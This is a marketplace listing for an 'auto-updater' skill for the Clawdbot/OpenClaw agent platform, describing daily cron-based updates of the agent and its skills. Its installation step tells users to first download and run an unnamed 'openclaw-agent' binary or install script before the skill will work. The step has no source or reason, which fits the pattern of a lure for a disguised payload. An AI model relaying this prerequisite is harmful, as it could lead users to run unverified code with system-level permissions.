auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep Clawdbot and your installed skills current with daily, automatic updates. Ensure your AI agent is always running the latest features and security patches.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-sxdg2What This Skill Does
The auto-updater skill is a maintenance automation tool for Clawdbot that ensures your agent and its ecosystem of skills remain on the latest stable versions without manual intervention. It functions as a scheduled task manager that interfaces with the openclaw-agent utility to perform system-level updates. By running daily, it mitigates compatibility issues and ensures you have access to the latest security patches, feature improvements, and bug fixes provided by the developers in the openclaw registry. The skill automates the update process for both the core Clawdbot application and all secondary skills installed via clawdhub, ultimately delivering a human-readable summary of version changes directly to your active session.
Installation
Before installing, you must have the openclaw-agent background service installed and running on your host machine. For Windows users, download the utility and execute the binary; for macOS, run the provided installation script in your terminal. Once the agent is active, install the skill by executing: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-sxdg2. After installation, configure the cron job via the natural language prompt or by manually defining the schedule with clawdbot cron add to ensure consistent daily operation at your preferred maintenance window.
Use Cases
This skill is essential for users managing complex environments where many skills are active, as it prevents "dependency drift" and keeps the agent stable. It is particularly useful for production environments where consistent software versions are needed across the board. It serves developers, power users, and enterprise deployments that require "hands-off" maintenance of their AI agent infrastructure, ensuring that whenever a skill author releases an update, your agent incorporates it automatically the following morning.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills so I don't have to worry about versioning."
- "Can you check if there are any pending updates for my skills right now without actually applying them?"
- "Show me the status of all installed skills and let me know if the auto-updater scheduled job is active."
Tips & Limitations
Always ensure the openclaw-agent utility is running in the background; if the agent process is terminated, the cron job will fail to trigger. While the skill is robust, it is recommended to run a dry-run check periodically if you are running highly experimental skills to avoid breaking changes. The skill relies on system permissions to perform package manager updates, so ensure your user account has the necessary authority to execute terminal-level commands for npm, pnpm, or bun, depending on your installation method. Finally, remember that the auto-updater runs globally; if you require specific versions of skills for sensitive projects, consider pinning versions or disabling auto-updates for those specific workspaces.
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{
"plugins": {
"official-hightower6eu-auto-updater-sxdg2": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
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